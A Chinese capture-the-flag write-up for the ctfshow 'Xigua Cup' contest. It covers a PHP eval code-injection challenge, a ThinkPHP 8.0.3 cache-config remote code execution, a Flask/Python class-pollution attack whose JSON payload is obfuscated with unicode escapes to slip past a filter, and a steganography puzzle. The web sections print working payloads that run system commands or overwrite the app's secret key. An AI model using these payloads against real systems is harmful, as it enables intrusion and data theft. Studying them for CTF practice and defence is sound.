[TOC]
ctfshow西瓜杯wp
web
CodeInject
考点:命令执行
1 2 3 4 5 6 7 8 <?php #Author: h1xa error_reporting(0); show_source(__FILE__); eval("var_dump((Object)$_POST[1]);");
直接构造联合执行。
payload:
1 1=1);system('cat /000f1ag.txt'); #
ctfshow{729e8c3e-142b-447a-8186-86cdac43b7a1}
tpdoor
考点:thinkphp漏洞
打开网址发现,就一句话,什么都没有
先下载源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php namespace app\controller; use app\BaseController; use think\facade\Db; class Index extends BaseController { protected $middleware = ['think\middleware\AllowCrossDomain','think\middleware\CheckRequestCache','think\middleware\LoadLangPack','think\middleware\SessionInit']; public function index($isCache = false , $cacheTime = 3600) { if($isCache == true){ $config = require __DIR__.'/../../config/route.php'; $config['request_cache_key'] = $isCache; $config['request_cache_expire'] = intval($cacheTime); $config['request_cache_except'] = []; file_put_contents(__DIR__.'/../../config/route.php', '<?php return '. var_export($config, true). ';'); return 'cache is enabled'; }else{ return 'Welcome ,cache is disabled'; } } }
审计发现,在 index
路由,有一个 require __DIR__.'/../../config/route.php'
操作,同时后边还会对config/route.php
修改,猜测和config/route.php
文件有关。可控的值是$config['request_cache_key']
。
先根据 thinkphp 的路由规则,访问 /index.php/1,产生报错
发现是tp8.0.3版本
源审易得: 数据通过竖线分开, 前面为参数, 后面为函数
根据 thinkphp 的路由规则,访问 /index.php/index/index
,能够走到题目给出的Index\index
里,然后传递参数isCache
和cacheTime
。
然后在 isCache
里输入命令,设置cacheTime
为1秒,让cache生效快点,多访问几次,成功RCE
构造payload:
1 /index.php/?cacheTime=0&isCache=ls /|system
/index.php/?cacheTime=0&isCache=cat /000f1ag.txt|system
ctfshow{7d6eab62-7f69-4815-86de-3bb5c8157f41}
easy_polluted
考点:原型链污染
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from flask import Flask, session, redirect, url_for,request,render_template import os import hashlib import json import re def generate_random_md5(): random_string = os.urandom(16) md5_hash = hashlib.md5(random_string) return md5_hash.hexdigest() def filter(user_input): blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string'] for pattern in blacklisted_patterns: if re.search(pattern, user_input, re.IGNORECASE): return True return False def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) app = Flask(__name__) app.secret_key = generate_random_md5() class evil(): def __init__(self): pass @app.route('/',methods=['POST']) def index(): username = request.form.get('username') password = request.form.get('password') session["username"] = username session["password"] = password Evil = evil() if request.data: if filter(str(request.data)): return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~" else: merge(json.loads(request.data), Evil) return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED" return render_template("index.html") @app.route('/admin',methods=['POST', 'GET']) def templates(): username = session.get("username", None) password = session.get("password", None) if username and password: if username == "adminer" and password == app.secret_key: return render_template("flag.html", flag=open("/flag", "rt").read()) else: return "Unauthorized" else: return f'Hello, This is the POLLUTED page.' if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)
审计代码,发现有merge函数,又是flask架构,想到可能有原型链污染。
可以直接污染静态目录为根目录,但是有过滤[‘init’, ‘global’, ‘env’, ‘app’, ‘_’, ‘string’]
但是merge(json.loads(request.data), Evil)中用了json.loads(),所以可以用unicode编码绕过
1 2 3 4 {"username":"adminer","password":"123","__init__": {"__globals__": {"app":{"secret_key": "123","_static_folder":"/"}}}} unicode编码: {"username":"adminer","password":"123","\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" :{"\u0061\u0070\u0070" :{"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079": "123","\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072":"\u002f"}}}}
访问/static/flag
ctfshow{96d52cff-71d8-4006-b644-32e781527715}
misc
她说她想结婚
考点:snow隐写,oursecret加密,文件提取,压缩包伪加密,
下载附件,解压缩,是一张png图片。
binwalk检测,发现藏了压缩包。提取压缩包
放进010editor,发现全是伪加密。修改09 -> 00
解压后发现有一堆文件,先查看flag.txt。
直接打开是乱码,放进浏览器打开
snow隐写,需要密码,根据hint,密码就是图片上那句话
得到一半flag。
另一半是在png图片里,010中看到了9E 97 BA 2A ,这是oursecret加密
解密的密码怎么办呢?想想看0~10.txt文件,想到时间戳,提取时间戳后三位,再经过ascii码转换,得到密钥:
先将png文件末尾的压缩包数据删去,然后再放进oursecret解密
得到一段base64。
解密得到flag
ctfshow{W1sh1ng_every0ne_4_happy_time_pl4ying}